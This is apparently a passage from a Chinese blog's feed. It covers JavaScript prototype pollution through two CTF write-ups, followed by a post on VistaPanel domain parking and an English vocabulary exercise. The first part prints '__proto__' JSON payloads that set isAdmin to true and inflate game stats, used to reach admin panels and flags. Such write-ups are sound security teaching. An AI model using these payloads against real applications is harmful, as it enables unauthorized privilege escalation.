class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 更新表单的JS提交</span></span></span><br><span class="line"><span class="language-javascript">    <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;profileUpdateForm&#x27;</span>).<span class="title function_">addEventListener</span>(<span class="string">&#x27;submit&#x27;</span>, <span class="keyword">async</span> <span class="keyword">function</span>(<span class="params">event</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">        event.<span class="title function_">preventDefault</span>();</span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">const</span> statusEl = <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;updateStatus&#x27;</span>);</span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">const</span> currentSettingsEl = <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;currentSettings&#x27;</span>);</span></span><br><span class="line"><span class="language-javascript">        statusEl.<span class="property">textContent</span> = <span class="string">&#x27;正在更新...&#x27;</span>;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">const</span> formData = <span class="keyword">new</span> <span class="title class_">FormData</span>(event.<span class="property">target</span>);</span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">const</span> settingsPayload = &#123;&#125;;</span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// 构建 settings 对象，只包含有值的字段</span></span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">if</span> (formData.<span class="title function_">get</span>(<span class="string">&#x27;theme&#x27;</span>)) settingsPayload.<span class="property">theme</span> = formData.<span class="title function_">get</span>(<span class="string">&#x27;theme&#x27;</span>);</span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">if</span> (formData.<span class="title function_">get</span>(<span class="string">&#x27;language&#x27;</span>)) settingsPayload.<span class="property">language</span> = formData.<span class="title function_">get</span>(<span class="string">&#x27;language&#x27;</span>);</span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// ...可以添加其他字段</span></span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">try</span> &#123;</span></span><br><span class="line"><span class="language-javascript">            <span class="keyword">const</span> response = <span class="keyword">await</span> <span class="title function_">fetch</span>(<span class="string">&#x27;/api/profile/update&#x27;</span>, &#123;</span></span><br><span class="line"><span class="language-javascript">                <span class="attr">method</span>: <span class="string">&#x27;POST&#x27;</span>,</span></span><br><span class="line"><span class="language-javascript">                <span class="attr">headers</span>: &#123;</span></span><br><span class="line"><span class="language-javascript">                    <span class="string">&#x27;Content-Type&#x27;</span>: <span class="string">&#x27;application/json&#x27;</span>,</span></span><br><span class="line"><span class="language-javascript">                &#125;,</span></span><br><span class="line"><span class="language-javascript">                <span class="attr">body</span>: <span class="title class_">JSON</span>.<span class="title function_">stringify</span>(&#123; <span class="attr">settings</span>: settingsPayload &#125;) <span class="comment">// 包装在 &quot;settings&quot;键下</span></span></span><br><span class="line"><span class="language-javascript">            &#125;);</span></span><br><span class="line"><span class="language-javascript">            <span class="keyword">const</span> result = <span class="keyword">await</span> response.<span class="title function_">json</span>();</span></span><br><span class="line"><span class="language-javascript">            <span class="keyword">if</span> (response.<span class="property">ok</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">                statusEl.<span class="property">textContent</span> = <span class="string">&#x27;成功: &#x27;</span> + result.<span class="property">message</span>;</span></span><br><span class="line"><span class="language-javascript">                currentSettingsEl.<span class="property">textContent</span> = <span class="title class_">JSON</span>.<span class="title function_">stringify</span>(result.<span class="property">settings</span>, <span class="literal">null</span>, <span class="number">2</span>);</span></span><br><span class="line"><span class="language-javascript">                <span class="comment">// 刷新页面以更新导航栏（如果isAdmin状态改变）</span></span></span><br><span class="line"><span class="language-javascript">                <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> <span class="variable language_">window</span>.<span class="property">location</span>.<span class="title function_">reload</span>(), <span class="number">1000</span>);</span></span><br><span class="line"><span class="language-javascript">            &#125; <span class="keyword">else</span> &#123;</span></span><br><span class="line"><span class="language-javascript">                statusEl.<span class="property">textContent</span> = <span class="string">&#x27;错误: &#x27;</span> + result.<span class="property">message</span>;</span></span><br><span class="line"><span class="language-javascript">            &#125;</span></span><br><span class="line"><span class="language-javascript">        &#125; <span class="keyword">catch</span> (error) &#123;</span></span><br><span class="line"><span class="language-javascript">            statusEl.<span class="property">textContent</span> = <span class="string">&#x27;请求失败: &#x27;</span> + error.<span class="title function_">toString</span>();</span></span><br><span class="line"><span class="language-javascript">        &#125;</span></span><br><span class="line"><span class="language-javascript">    &#125;);</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 发送原始JSON的函数</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">sendRawJson</span>(<span class="params"></span>) &#123;</span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">const</span> rawJson = <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;rawJsonSettings&#x27;</span>).<span class="property">value</span>;</span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">const</span> statusEl = <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;rawJsonStatus&#x27;</span>);</span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">const</span> currentSettingsEl = <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;currentSettings&#x27;</span>);</span></span><br><span class="line"><span class="language-javascript">        statusEl.<span class="property">textContent</span> = <span class="string">&#x27;正在发送...&#x27;</span>;</span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">try</span> &#123;</span></span><br><span class="line"><span class="language-javascript">            <span class="keyword">const</span> parsedJson = <span class="title class_">JSON</span>.<span class="title function_">parse</span>(rawJson); <span class="comment">// 确保是合法的JSON</span></span></span><br><span class="line"><span class="language-javascript">            <span class="keyword">const</span> response = <span class="keyword">await</span> <span class="title function_">fetch</span>(<span class="string">&#x27;/api/profile/update&#x27;</span>, &#123;</span></span><br><span class="line"><span class="language-javascript">                <span class="attr">method</span>: <span class="string">&#x27;POST&#x27;</span>,</span></span><br><span class="line"><span class="language-javascript">                <span class="attr">headers</span>: &#123;</span></span><br><span class="line"><span class="language-javascript">                    <span class="string">&#x27;Content-Type&#x27;</span>: <span class="string">&#x27;application/json&#x27;</span>,</span></span><br><span class="line"><span class="language-javascript">                &#125;,</span></span><br><span class="line"><span class="language-javascript">                <span class="attr">body</span>: <span class="title class_">JSON</span>.<span class="title function_">stringify</span>(parsedJson) <span class="comment">// 直接发送用户输入的JSON</span></span></span><br><span class="line"><span class="language-javascript">            &#125;);</span></span><br><span class="line"><span class="language-javascript">            <span class="keyword">const</span> result = <span class="keyword">await</span> response.<span class="title function_">json</span>();</span></span><br><span class="line"><span class="language-javascript">            <span class="keyword">if</span> (response.<span class="property">ok</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">                statusEl.<span class="property">textContent</span> = <span class="string">&#x27;成功: &#x27;</span> + result.<span class="property">message</span>;</span></span><br><span class="line"><span class="language-javascript">                currentSettingsEl.<span class="property">textContent</span> = <span class="title class_">JSON</span>.<span class="title function_">stringify</span>(result.<span class="property">settings</span>, <span class="literal">null</span>, <span class="number">2</span>);</span></span><br><span class="line"><span class="language-javascript">                 <span class="comment">// 刷新页面以更新导航栏（如果isAdmin状态改变）</span></span></span><br><span class="line"><span class="language-javascript">                <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> <span class="variable language_">window</span>.<span class="property">location</span>.<span class="title function_">reload</span>(), <span class="number">1000</span>);</span></span><br><span class="line"><span class="language-javascript">            &#125; <span class="keyword">else</span> &#123;</span></span><br><span class="line"><span class="language-javascript">                statusEl.<span class="property">textContent</span> = <span class="string">&#x27;错误: &#x27;</span> + result.<span class="property">message</span>;</span></span><br><span class="line"><span class="language-javascript">            &#125;</span></span><br><span class="line"><span class="language-javascript">        &#125; <span class="keyword">catch</span> (error) &#123;</span></span><br><span class="line"><span class="language-javascript">             statusEl.<span class="property">textContent</span> = <span class="string">&#x27;请求失败或JSON无效: &#x27;</span> + error.<span class="title function_">toString</span>();</span></span><br><span class="line"><span class="language-javascript">        &#125;</span></span><br><span class="line"><span class="language-javascript">    &#125;</span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>可以发现参数<code>isAdmin</code>，应用会根据这个参数判断用户是否为admin</p><p>更新设置</p><p><img src="/2025/07/14/2025-7-14-js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/image-20250719232920659.png" alt="image-20250719232920659"></p><blockquote><p><strong>可以通过 <code>__proto__</code> 属性访问其原型（<code>prototype</code>），如果向对象中添加 <code>__proto__</code> 字段，会修改该对象的原型链，影响所有继承自该原型的对象</strong></p></blockquote><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="string">&quot;settings&quot;</span>:&#123;<span class="string">&quot;theme&quot;</span>:<span class="string">&quot;1&quot;</span>,<span class="string">&quot;language&quot;</span>:<span class="string">&quot;1&quot;</span>&#125;&#125;</span><br></pre></td></tr></table></figure><p>污染 <code>settings</code> 对象的原型</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="string">&quot;settings&quot;</span>:&#123;<span class="string">&quot;theme&quot;</span>:<span class="string">&quot;a&quot;</span>,<span class="string">&quot;language&quot;</span>:<span class="string">&quot;a&quot;</span>,<span class="string">&quot;__proto__&quot;</span>:&#123;<span class="string">&quot;isAdmin&quot;</span>:<span class="literal">true</span>&#125;&#125;&#125;</span><br></pre></td></tr></table></figure><p><img src="/2025/07/14/2025-7-14-js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/image-20250719233638962.png" alt="image-20250719233638962"></p><p>刷新下界面，加载出了管理面板，拿到flag</p><p><img src="/2025/07/14/2025-7-14-js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/image-20250719233717285.png" alt="image-20250719233717285"></p><h2 id="MoeCTF-2021-fake-game"><a href="#MoeCTF-2021-fake-game" class="headerlink" title="[MoeCTF 2021]fake game"></a>[MoeCTF 2021]fake game</h2><p>环境：[<a href="https://www.nssctf.cn/problem/3414">MoeCTF 2021]fake game | NSSCTF</a></p><p>题目描述<a href="https://github.com/XDSEC/moeCTF_2021">XDSEC&#x2F;moeCTF_2021: moeCTF 2021 Challenges and writeup</a></p><p>题目如下</p><p><img src="/2025/07/14/2025-7-14-js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/image-20250720095016529.png" alt="image-20250720095016529"></p><p>创建角色</p><p><img src="/2025/07/14/2025-7-14-js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/image-20250720095349289.png" alt="image-20250720095349289"></p><p><img src="/2025/07/14/2025-7-14-js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/image-20250720095358214.png" alt="image-20250720095358214"></p><p>看一下源码</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">&lt;!<span class="variable constant_">DOCTYPE</span> html&gt;</span><br><span class="line">&lt;html lang=&quot;en&quot;&gt;</span><br><span class="line">&lt;head&gt;</span><br><span class="line">    &lt;meta charset=&quot;UTF-8&quot;&gt;</span><br><span class="line">    &lt;title&gt;index&lt;/title&gt;</span><br><span class="line">    &lt;style&gt;</span><br><span class="line">        .myForm &#123;</span><br><span class="line"></span><br><span class="line">        &#125;</span><br><span class="line">    &lt;/style&gt;</span><br><span class="line">    &lt;script src=&quot;/static/jquery.min.js&quot;&gt;&lt;/script&gt;</span><br><span class="line">&lt;/head&gt;</span><br><span class="line">&lt;body&gt;</span><br><span class="line">&lt;div&gt;你有十点属性值可以用来分配，合理分配属性去挑战魔王吧！！！&lt;/div&gt;</span><br><span class="line">&lt;!--如果你将某一项属性值设为0，你将没有这项属性--&gt;</span><br><span class="line">&lt;form class=&quot;myForm&quot;&gt;</span><br><span class="line">    &lt;div&gt;</span><br><span class="line">        &lt;label for=&quot;health&quot;&gt;生命值：&lt;/label&gt;</span><br><span class="line">        &lt;input id=&quot;health&quot; type=&quot;text&quot;&gt;</span><br><span class="line">    &lt;/div&gt;</span><br><span class="line">    &lt;div&gt;</span><br><span class="line">        &lt;label for=&quot;attack&quot;&gt;攻击力：&lt;/label&gt;</span><br><span class="line">        &lt;input id=&quot;attack&quot; type=&quot;text&quot;&gt;</span><br><span class="line">    &lt;/div&gt;</span><br><span class="line">    &lt;div&gt;</span><br><span class="line">        &lt;label for=&quot;armor&quot;&gt;护甲：&lt;/label&gt;</span><br><span class="line">        &lt;input id=&quot;armor&quot; type=&quot;text&quot;&gt;</span><br><span class="line">    &lt;/div&gt;</span><br><span class="line">    &lt;button type=&quot;button&quot; id=&quot;submit&quot;&gt;创建角色&lt;/button&gt;</span><br><span class="line">&lt;/form&gt;</span><br><span class="line">&lt;script type=&quot;text/javascript&quot;&gt;</span><br><span class="line">    $(function () &#123;</span><br><span class="line">        $(&quot;#submit&quot;).on(&#x27;click&#x27;, function () &#123;</span><br><span class="line">            $.ajax(&#123;</span><br><span class="line">                type: &quot;POST&quot;,</span><br><span class="line">                url: &quot;/api/fight&quot;,</span><br><span class="line">                contentType: &quot;application/json; charset=utf-8&quot;,</span><br><span class="line">                dataType: &#x27;json&#x27;,</span><br><span class="line">                data: JSON.stringify(&#123;</span><br><span class="line">                    attributes: &#123;</span><br><span class="line">                        health: parseInt($(&quot;#health&quot;).val()),</span><br><span class="line">                        attack: parseInt($(&quot;#attack&quot;).val()),</span><br><span class="line">                        armor: parseInt($(&quot;#armor&quot;).val()),</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;),</span><br><span class="line">                success: function (res) &#123;</span><br><span class="line">                    if (res.status === 200) &#123;</span><br><span class="line">                        alert(res.result);</span><br><span class="line">                    &#125; else if(res.status === 403)&#123;</span><br><span class="line">                        alert(&quot;Invalid input, please try again&quot;);</span><br><span class="line">                    &#125; else if(res.status === 500)&#123;</span><br><span class="line">                        alert(&quot;Json data only!&quot;);</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;,</span><br><span class="line">            &#125;)</span><br><span class="line">        &#125;)</span><br><span class="line">    &#125;);</span><br><span class="line">&lt;/script&gt;</span><br><span class="line">&lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br></pre></td></tr></table></figure><p>注意看注释：<strong>如果你将某一项属性值设为0，你将没有这项属性</strong></p><p>猜测是原型链污染，构造payload：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="string">&quot;attributes&quot;</span>:&#123;<span class="string">&quot;health&quot;</span>:<span class="number">0</span>,<span class="string">&quot;attack&quot;</span>:<span class="number">0</span>,<span class="string">&quot;armor&quot;</span>:<span class="number">0</span>,<span class="string">&quot;__proto__&quot;</span>:&#123;<span class="string">&quot;health&quot;</span>:<span class="number">999</span>,<span class="string">&quot;attack&quot;</span>:<span class="number">999</span>,<span class="string">&quot;armor&quot;</span>:<span class="number">999</span>&#125;&#125;&#125;</span><br></pre></td></tr></table></figure><p>成功拿到flag</p><p><img src="/2025/07/14/2025-7-14-js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/image-20250720095911021.png" alt="image-20250720095911021"></p>]]>
    </content>
    <id>https://blog.ziworld.top/2025/07/14/2025-7-14-js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/</id>
    <link href="https://blog.ziworld.top/2025/07/14/2025-7-14-js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/"/>
    <published>2025-07-14T12:28:00.000Z</published>
    <summary>
      <![CDATA[<h1 id="原型链"><a href="#原型链" class="headerlink" title="原型链"></a>原型链</h1><p>JavaScript 原型链是实现继承的一种方式，每个对象都有一个内部属性]]>
    </summary>
    <title>js原型链污染</title>
    <updated>2026-03-09T09:40:19.033Z</updated>
  </entry>
  <entry>
    <author>
      <name>ziworld</name>
    </author>
    <category term="建站" scheme="https://blog.ziworld.top/categories/%E5%BB%BA%E7%AB%99/"/>
    <content>
      <![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>有些托管网站使用的是<strong>vistapanel</strong>来给用户管理网站，如果使用自己的域名，它需要用户将域名的ns记录指向特定的DNS 服务器才能实现托管。但这样我们就不能更改该域名的解析了，最重要的是基于该域名的子域名也就失效了。想要网站使用自己的域名，能被托管，并且域名的解析不会失效，可以用vistapanel中的网站停放达到cname的效果</p><h1 id="实现方法"><a href="#实现方法" class="headerlink" title="实现方法"></a>实现方法</h1><p>点击<strong>域名</strong>中的<strong>绑定域名</strong></p><p><img src="/2025/07/07/2025-07-07-vistapanel%E4%B8%AD%E7%94%A8%E7%BD%91%E7%AB%99%E5%81%9C%E6%94%BE%E5%8A%9F%E8%83%BD%E5%AE%9E%E7%8E%B0cname/4cbd6edb57fc03b19862f7d97a0c72d1.png" alt="image-20250716174718401"></p><p>将自己域名的<strong>ns</strong>记录设置为它提供的那4个，等待一段时间（快的10分钟，慢的要等一天），点击<strong>创建域名</strong>（假设域名为<strong>kei.top</strong>）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">ns1.byet.org</span><br><span class="line">ns2.byet.org</span><br><span class="line">ns3.byet.org</span><br><span class="line">ns4.byet.org</span><br><span class="line">ns5.byet.org</span><br></pre></td></tr></table></figure><p><img src="/2025/07/07/2025-07-07-vistapanel%E4%B8%AD%E7%94%A8%E7%BD%91%E7%AB%99%E5%81%9C%E6%94%BE%E5%8A%9F%E8%83%BD%E5%AE%9E%E7%8E%B0cname/09e5e15e6a0d34d5e1c3b36422392c4a.png" alt="image-20250716174810316"></p><p>点击<strong>域名</strong>中的<strong>绑定子域名</strong></p><p><img src="/2025/07/07/2025-07-07-vistapanel%E4%B8%AD%E7%94%A8%E7%BD%91%E7%AB%99%E5%81%9C%E6%94%BE%E5%8A%9F%E8%83%BD%E5%AE%9E%E7%8E%B0cname/fead36cfdd477d95d8a7cb130d1d1615.png" alt="image-20250716175547655"></p><p>创建一个子域名(假设为<strong>hei.22web.org</strong>)</p><p><img src="/2025/07/07/2025-07-07-vistapanel%E4%B8%AD%E7%94%A8%E7%BD%91%E7%AB%99%E5%81%9C%E6%94%BE%E5%8A%9F%E8%83%BD%E5%AE%9E%E7%8E%B0cname/a4c9c3b3aff1da58a31b4d85696b2f2f.png" alt="image-20250716175347387"></p><p>点击<strong>域名</strong>中的<strong>别名(停放域名)</strong></p><p><img src="/2025/07/07/2025-07-07-vistapanel%E4%B8%AD%E7%94%A8%E7%BD%91%E7%AB%99%E5%81%9C%E6%94%BE%E5%8A%9F%E8%83%BD%E5%AE%9E%E7%8E%B0cname/8237885ffa5426084f11ac69c1ce29ed.png" alt="image-20250716175700553"></p><p><strong>Domain Name</strong>填写自己的域名(<strong>kei.top</strong>)，<strong>Park onto</strong>选择刚才创建的子域名(<strong>hei.22web.org</strong>)</p><p><img src="/2025/07/07/2025-07-07-vistapanel%E4%B8%AD%E7%94%A8%E7%BD%91%E7%AB%99%E5%81%9C%E6%94%BE%E5%8A%9F%E8%83%BD%E5%AE%9E%E7%8E%B0cname/d5c5b8e7fb87e3cccac879d6c5ecff5c.png" alt="image-20250716175733566"></p><p>最后将自己的域名(<strong>kei.top</strong>)的ns换回去，加个cname解析指向子域名（<strong>hei.22web.org</strong>），这样就可以通过子域名（<strong>hei.22web.org</strong>）来管理的自己的域名（<strong>kei.top</strong>）</p>]]>
    </content>
    <id>https://blog.ziworld.top/2025/07/07/2025-07-07-vistapanel%E4%B8%AD%E7%94%A8%E7%BD%91%E7%AB%99%E5%81%9C%E6%94%BE%E5%8A%9F%E8%83%BD%E5%AE%9E%E7%8E%B0cname/</id>
    <link href="https://blog.ziworld.top/2025/07/07/2025-07-07-vistapanel%E4%B8%AD%E7%94%A8%E7%BD%91%E7%AB%99%E5%81%9C%E6%94%BE%E5%8A%9F%E8%83%BD%E5%AE%9E%E7%8E%B0cname/"/>
    <published>2025-07-07T15:30:00.000Z</published>
    <summary>
      <![CDATA[<h1 id="前言"><a href="#前言" class="headerlink"]]>
    </summary>
    <title>vistapanel中用网站停放功能实现cname</title>
    <updated>2026-03-09T09:40:18.937Z</updated>
  </entry>
  <entry>
    <author>
      <name>ziworld</name>
    </author>
    <category term="默认分类" scheme="https://blog.ziworld.top/categories/%E9%BB%98%E8%AE%A4%E5%88%86%E7%B1%BB/"/>
    <content>
      <![CDATA[<h1 id="选填"><a href="#选填" class="headerlink" title="选填"></a>选填</h1><h3 id="一、Words-in-use题目、选填词汇及翻译"><a href="#一、Words-in-use题目、选填词汇及翻译" class="headerlink" title="一、Words in use题目、选填词汇及翻译"></a>一、Words in use题目、选填词汇及翻译</h3><h4 id="1"><a href="#1" class="headerlink" title="1."></a>1.</h4><p><strong>题目</strong>：The guest speaker decided to __________ his speech in order to leave enough time for his audience to ask questions.<br><strong>选填词汇</strong>：condense（压缩；精简）<br><strong>翻译</strong>：这位特邀演讲者决定精简他的演讲，以便给听众留出足够的时间提问。  </p><h4 id="2"><a href="#2" class="headerlink" title="2."></a>2.</h4><p><strong>题目</strong>：According to the media, China’s wind power capacity has __________ the previous level considerably.<br><strong>选填词汇</strong>：exceeded（超过）<br><strong>翻译</strong>：据媒体报道，中国的风电装机容量已大幅超过此前的水平。  </p><h4 id="3"><a href="#3" class="headerlink" title="3."></a>3.</h4><p><strong>题目</strong>：Researchers conducted a set of psychological tests to determine the negative consequences of a sleep __________.<br><strong>选填词汇</strong>：deficit（不足；缺乏）<br><strong>翻译</strong>：研究人员进行了一系列心理测试，以确定睡眠不足的负面影响。  </p><h4 id="4"><a href="#4" class="headerlink" title="4."></a>4.</h4><p><strong>题目</strong>：In addition to a sense of sight, bees also have an unusual sense of smell, so they can __________ more than 10 similar flower odors.<br><strong>选填词汇</strong>：distinguish（区分；辨别）<br><strong>翻译</strong>：除了视觉，蜜蜂还拥有不寻常的嗅觉，因此它们能区分10多种相似的花香。  </p><h4 id="5"><a href="#5" class="headerlink" title="5."></a>5.</h4><p><strong>题目</strong>：Moving forward even in the face of great difficulties has become the most important __________ in my life and career.<br><strong>选填词汇</strong>：asset（资产；优势）<br><strong>翻译</strong>：即使面对巨大困难仍继续前进，这已成为我人生和职业生涯中最重要的优势。  </p><h4 id="6"><a href="#6" class="headerlink" title="6."></a>6.</h4><p><strong>题目</strong>：The lawyer proclaimed that they couldn’t jump to conclusions because acceptable conclusions must be __________ supported by evidence.<br><strong>选填词汇</strong>：adequately（充分地；足够地）<br><strong>翻译</strong>：律师宣称他们不能妄下结论，因为可接受的结论必须有充分的证据支持。  </p><h4 id="7"><a href="#7" class="headerlink" title="7."></a>7.</h4><p><strong>题目</strong>：To help the employees become more communicative, the company offered several workshops to those who were not __________ in social interactions.<br><strong>选填词汇</strong>：competent（有能力的；胜任的）<br><strong>翻译</strong>：为了帮助员工变得更善于沟通，公司为那些在社交互动中能力不足的人提供了多个工作坊。  </p><h4 id="8"><a href="#8" class="headerlink" title="8."></a>8.</h4><p><strong>题目</strong>：Some parents try to help solve the problems that their sons and daughters have in __________ to their college life.<br><strong>选填词汇</strong>：adjusting（适应）<br><strong>翻译</strong>：一些父母试图帮助解决子女在适应大学生活中遇到的问题。  </p><h4 id="9"><a href="#9" class="headerlink" title="9."></a>9.</h4><p><strong>题目</strong>：China’s series of __________ measures have proved to be effective for a steady economic recovery despite difficulties.<br><strong>选填词汇</strong>：precise（精准的；精确的）<br><strong>翻译</strong>：尽管面临困难，中国的一系列精准措施已被证明对经济稳定复苏有效。  </p><h4 id="10"><a href="#10" class="headerlink" title="10."></a>10.</h4><p><strong>题目</strong>：The Italian businessman spoke fluent Chinese and demonstrated his Chinese __________ at the World Expo held in Shanghai.<br><strong>选填词汇</strong>：proficiency（熟练程度；精通）<br><strong>翻译</strong>：这位意大利商人说一口流利的中文，并在上海举办的世博会上展示了他的中文水平。  </p><h4 id="11"><a href="#11" class="headerlink" title="11."></a>11.</h4><p><strong>题目</strong>：With the __________ global fight against poverty still continuing, many countries are looking to draw inspiration from China.<br><strong>选填词汇</strong>：prolonged（长期的；持久的）<br><strong>翻译</strong>：随着长期的全球脱贫斗争仍在继续，许多国家希望从中国汲取灵感。  </p><h4 id="12"><a href="#12" class="headerlink" title="12."></a>12.</h4><p><strong>题目</strong>：According to the news __________, her interest in writing about plants and animals came from her childhood.<br><strong>选填词汇</strong>：release（发布；公布）<br><strong>翻译</strong>：根据新闻报道，她对撰写动植物的兴趣源于童年时期。  </p><h4 id="13"><a href="#13" class="headerlink" title="13."></a>13.</h4><p><strong>题目</strong>：Many of them are beginners who have never done painting before and are looking to develop their __________ interests.<br><strong>选填词汇</strong>：artistic（艺术的）<br><strong>翻译</strong>：他们中的许多人是从未画过画的初学者，希望培养自己的艺术兴趣。  </p><h4 id="14"><a href="#14" class="headerlink" title="14."></a>14.</h4><p><strong>题目</strong>：Consumers are increasingly comfortable shopping using their mobile devices, with 69 percent of people __________ and shopping online last year.<br><strong>选填词汇</strong>：browsing（浏览）<br><strong>翻译</strong>：消费者越来越习惯使用移动设备购物，去年有69%的人在线浏览和购物。  </p><h4 id="15"><a href="#15" class="headerlink" title="15."></a>15.</h4><p><strong>题目</strong>：The tourists were awestruck at the __________ of the Great Wall, the building of which started as early as the seventh century B.C.E.<br><strong>选填词汇</strong>：magnificence（壮丽；宏伟）<br><strong>翻译</strong>：游客们对长城的宏伟惊叹不已，其建造最早可追溯到公元前7世纪。  </p><h4 id="16"><a href="#16" class="headerlink" title="16."></a>16.</h4><p><strong>题目</strong>：As we know, earlier diagnosis (诊断) can give better treatment __________ to patients, which will also help them get effective care.<br><strong>选填词汇</strong>：options（选择；选项）<br><strong>翻译</strong>：正如我们所知，早期诊断可以为患者提供更好的治疗选择，这也将帮助他们获得有效的护理。  </p><h4 id="17"><a href="#17" class="headerlink" title="17."></a>17.</h4><p><strong>题目</strong>：Some clinics require people to call the front desk to __________ their appointments before they come to see the doctors.<br><strong>选填词汇</strong>：confirm（确认）<br><strong>翻译</strong>：一些诊所要求患者在就诊前致电前台确认预约。  </p><h4 id="18"><a href="#18" class="headerlink" title="18."></a>18.</h4><p><strong>题目</strong>：The website is reliable because I’ve made dozens of purchases from this very __________ site with zero 